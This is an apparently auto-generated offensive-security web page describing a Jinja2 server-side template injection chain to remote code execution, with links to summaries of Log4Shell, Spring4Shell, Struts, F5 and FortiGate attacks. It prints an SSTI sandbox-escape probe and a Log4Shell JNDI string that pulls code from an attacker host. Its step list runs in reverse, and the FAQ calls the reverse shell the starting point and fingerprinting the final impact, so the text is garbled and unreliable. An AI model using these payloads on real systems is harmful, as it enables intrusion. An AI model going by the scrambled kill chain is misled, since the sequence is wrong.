SSTI (Jinja2) → sandbox escape → RCE
User input rendered as a Jinja2 template instead of escaped. Escape the sandbox via __class__.__mro__ to reach subprocess and execute commands.
§ Context
Assumed environment: a Flask / Django / FastAPI app uses Jinja2 to render user-controllable strings (often in name greetings, error messages, custom email templates).
§ Steps
- 01Reverse shellExecutionT1059— Command and Scripting Interpreter
- 02Execute shell commandsExecutionW-CMDI— OS Command Injection
- 03Reach subprocess.Popen / os.popenExecutionW-SSTI-FLASK— SSTI — Jinja2 / Flask
- 04Escape sandbox via __class__.__mro__ExecutionW-SSTI-FLASK— SSTI — Jinja2 / Flask
{{ ''.__class__.__mro__[1].__subclasses__() }}
- 05Confirm Jinja2 SSTIExecutionW-SSTI-FLASK— SSTI — Jinja2 / Flask
- 06Fingerprint engineReconnaissanceW-RECON-FINGERPRINT— Tech Stack Fingerprinting
{{7*7}} vs ${{7*7}} vs <%= 7*7 %> — narrow down the engine.
§ References
§ Frequently asked
- What is the "SSTI (Jinja2) → sandbox escape → RCE" attack path?
- User input rendered as a Jinja2 template instead of escaped. Escape the sandbox via __class__.__mro__ to reach subprocess and execute commands. It chains 6 steps drawn from real-world offensive-security techniques.
- What starting position does this attack require?
- The first step is Reverse shell (T1059) — a execution primitive. Assumed environment: a Flask / Django / FastAPI app uses Jinja2 to render user-controllable strings (often in name greetings, error messages, custom email templates).
- What is the final impact of this kill-chain?
- The final step lands on Fingerprint engine (W-RECON-FINGERPRINT), which falls under Reconnaissance. From here, an operator typically pivots into post-exploitation or maintains persistence.
- How can defenders detect or prevent this attack?
- Detection and prevention vary per step. Refer to each linked MITRE ATT&CK entry under "References" — every technique on that page lists defensive controls, detection telemetry, and known threat-actor usage.
§ Related dossiers
- Shared techniques2
Log4Shell (CVE-2021-44228) → RCE → lateral
Send `${jndi:ldap://attacker/x}` in any logged field (User-Agent / X-Forwarded-For). Vulnerable log4j 2.x resolves the JNDI URL, fetches a Java class from attacker LDAP, runs it as the app user.
- Shared techniques2
Spring4Shell (CVE-2022-22965) → JSP webshell on Tomcat
Send a crafted POST that uses Spring's data-binding to mutate Tomcat's logging configuration — turn its access log into a JSP file written under webapps/, then request it.
- Shared techniques2
Apache Struts S2-045 (CVE-2017-5638) → Equifax-style breach
Crafted Content-Type header is parsed as OGNL — execute commands as the app user. The 2017 Equifax breach origin: unpatched Struts endpoint exposed to the internet.
- Shared techniques2
F5 BIG-IP iControl auth bypass (CVE-2022-1388) → root on LB
Connection-header smuggle bypasses iControl REST auth, command-injection RCE as root. Load balancers see all traffic — recover TLS keys, session cookies, internal SSO config.
- Shared techniques2
FortiGate SSL-VPN pre-auth RCE → config theft
Pre-auth heap overflow / format-string against FortiGate sslvpnd grants root on the appliance. Pull the running config, decrypt stored RADIUS / LDAP / VPN-user secrets.
- Shared techniques2
Server-side prototype pollution → auth bypass → RCE
Merge / clone helper on user input pollutes Object.prototype. A later code path reads `isAdmin` from a fresh object and gets true — then a child-process gadget reaches RCE.